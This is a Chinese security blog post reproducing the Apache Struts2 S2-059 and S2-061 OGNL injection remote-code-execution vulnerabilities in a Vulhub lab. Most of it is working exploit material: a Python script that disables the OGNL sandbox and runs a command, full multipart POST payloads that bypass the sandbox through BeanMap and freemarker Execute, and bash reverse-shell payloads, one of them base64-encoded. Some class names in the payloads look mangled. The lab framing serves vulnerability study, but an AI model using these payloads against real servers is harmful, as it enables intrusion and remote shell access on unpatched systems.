漏洞复现:S2-059&061远程代码执行漏洞(CVE-2019-0230&CVE-2020-17430)

Struts2的洞一般都是OGNL表达式注入,以及对其沙盒绕过

S2-059

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本: Struts 2.0.0 - Struts 2.5.20

阿里云VPS 会自带阿里云盾,所以每一台阿里云VPS,都是阿里云的蜜罐了么。。自己复现都么法,自己把自己waf了,网站都打不开。

访问 http://your-ip:8080/?id=%25%7B233*233%7D,可以发现233*233的结果被解析到了id属性中:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

S2-061

复现环境

Vulhub:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

Struts2:

2.5.25

利用条件

此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用

漏洞概述

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。

该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。

漏洞复现

POC 1

POST请求

1
2
3
4
5
6
7
8
boundary=----WebKitFormBoundary0qcU8KvOhouvJWrH
Content-Length: 829

------WebKitFormBoundary0qcU8KvOhouvJWrH
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary0qcU8KvOhouvJWrH--

执行命令在 (#arglist.add("id")).

POC 2

反弹shell

使用bash反弹:

1
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html

Java 漏洞利用,常常需要注意编码。

1
2
3
4
5
6
7
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 918

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF-

还有很多,不一一复现了。一个回显用来验证,一个反弹shell用来利用。可能实战遇到了,要么很好利用,要么就是各种WAF,RASP…

Ref

https://xz.aliyun.com/t/8689

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md

Author: m0nk3y
Link: https://hack-for.fun/9316.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.